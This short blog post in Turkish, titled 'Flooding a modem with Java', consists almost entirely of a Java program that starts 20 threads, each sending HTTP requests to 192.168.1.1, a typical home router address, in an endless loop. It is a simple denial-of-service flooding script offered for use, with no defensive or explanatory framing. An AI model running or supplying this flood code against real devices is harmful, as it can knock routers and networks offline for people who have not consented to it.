Java ile Modem' e flood yapmak

Posted by dogukanhan on July 28, 2018 · 1 min read
import java.net.HttpURLConnection;
import java.net.URL;

public class Alffa {
  public static void main(String arsgs[]) {
    int a = 0;
    while(a++<20)
    new Thread(new Runnable() {
      int status = 0; 
      @Override
      public void run() {
        while(true)
          try {
            URL url = new URL("http://192.168.1.1");
            HttpURLConnection connection = (HttpURLConnection) url.openConnection();
            connection.getInputStream();
            System.out.println(Thread.currentThread().getName()+"-"+status+++","+connection.getResponseCode());
          } catch (Exception e) {
            e.printStackTrace();
          }	
      }
    }).start();	
  }
}